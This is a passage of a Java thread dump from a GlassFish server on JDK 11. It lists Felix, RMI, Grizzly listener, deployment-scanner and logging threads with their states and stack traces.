java.base@11.0.16/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.16/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"hk2-asyncrunlevelcontext" #29 daemon [WAITING] on java.util.TaskQueue@44dbd0cb + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.Object.wait(Object.java:328) + at java.base@11.0.16/java.util.TimerThread.mainLoop(Timer.java:527) + at java.base@11.0.16/java.util.TimerThread.run(Timer.java:506) + +"Thread-6" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@496be1c9 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at com.sun.enterprise.server.logging.GFFileHandler.log(GFFileHandler.java:801) + at com.sun.enterprise.server.logging.GFFileHandler$3.run(GFFileHandler.java:516) + +"RMI Reaper" #74 [WAITING] on java.lang.ref.ReferenceQueue$Lock@15f46a9 + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.16/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.rmi@11.0.16/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:349) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[/app]]" #113 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1637) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #5" #79 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a72692 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"deployment-jar-scanner" #96 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389a2ca9 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-2" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@320b0309 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-5-thread-1" #102 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a2723bb + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.base@11.0.16/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.16/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"GlassFish Kernel Main Thread" #67 [WAITING] on com.sun.enterprise.v3.server.AppServerStartup$1@7c901cc8 + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.Object.wait(Object.java:328) + at com.sun.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:223) + +"EventAdminAsyncThread #9" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79a72692 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"Thread-8" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@69b415d0 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:119) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:98) + +"AutoDeployer" #63 daemon [TIMED_WAITING] on java.util.TaskQueue@5cfbeffa + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.util.TimerThread.mainLoop(Timer.java:553) + at java.base@11.0.16/java.util.TimerThread.run(Timer.java:506) + +"FelixFrameworkWiring" #21 daemon [WAITING] on java.util.ArrayList@3e722d24 + java.lang.Thread.State: WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.Object.wait(Object.java:328) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:169) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"RMI TCP Connection(2)-192.168.215.4" #91 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/java.net.SocketInputStream.socketRead0(Native Method) + at java.base@11.0.16/java.net.SocketInputStream.socketRead(SocketInputStream.java:115) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:168) + at java.base@11.0.16/java.net.SocketInputStream.read(SocketInputStream.java:140) + at java.base@11.0.16/java.io.BufferedInputStream.fill(BufferedInputStream.java:252) + at java.base@11.0.16/java.io.BufferedInputStream.read(BufferedInputStream.java:271) + at java.base@11.0.16/java.io.FilterInputStream.read(FilterInputStream.java:83) + at java.rmi@11.0.16/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:544) + at java.rmi@11.0.16/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796) + at java.rmi@11.0.16/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677) + at java.rmi@11.0.16/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$182/0x0000000840423840.run(Unknown Source) + at java.base@11.0.16/java.security.AccessController.doPrivileged(Native Method) + at java.rmi@11.0.16/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"deployment-jar-scanner" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389a2ca9 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-17-thread-1" #117 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@31234e0f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"deployment-jar-scanner" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389a2ca9 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"RMI GC Daemon" #75 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@3d5e1ef4 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.rmi@11.0.16/sun.rmi.transport.GC$Daemon.run(GC.java:126) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + at java.base@11.0.16/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:161) + +"deployment-jar-scanner" #100 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389a2ca9 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-10-thread-1" #108 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@31234e0f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-1" #16 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@320b0309 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-6" #23 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@320b0309 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-12-thread-1" #109 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@31234e0f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"RunLevelControllerThread-1754837831511" #30 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@58b5d3e6 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:761) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:689) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"CM Event Dispatcher" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@46cf7df8 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:483) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:671) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"deployment-jar-scanner" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@389a2ca9 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"RunLevelControllerThread-1754837831525" #33 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@58b5d3e6 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:761) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:689) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"admin-listener-expirer(1)" #60 daemon [TIMED_WAITING] on java.lang.Object@6c1b866e + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-8-thread-1" #105 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@55e6a461 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.base@11.0.16/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.16/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"admin-listener-kernel(1) SelectorRunner" #61 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.16/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.16/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.16/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.16/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"http-listener-2(4)" #51 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2a1f4399 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-listener-2(1)" #48 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@2a1f4399 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.16/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"pool-11-thread-1" #107 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@31234e0f + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.16/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.16/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"RMI RenewClean-[192.168.215.4:8686]" #89 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@56610518 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.16/java.lang.Object.wait(Native Method) + at java.base@11.0.16/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.rmi@11.0.16/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:558) + at java.base@11.0.16/java.lang.Thread.run(Thread.java:829) + +"Thread-7" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@532c3da7 + java.lang.Thread.State: WAITING + at java.base@11.0.16/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.16/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.16/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.16/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:119) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:98) + +"pool-14-thread-1" #114 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@5c88eae2 + 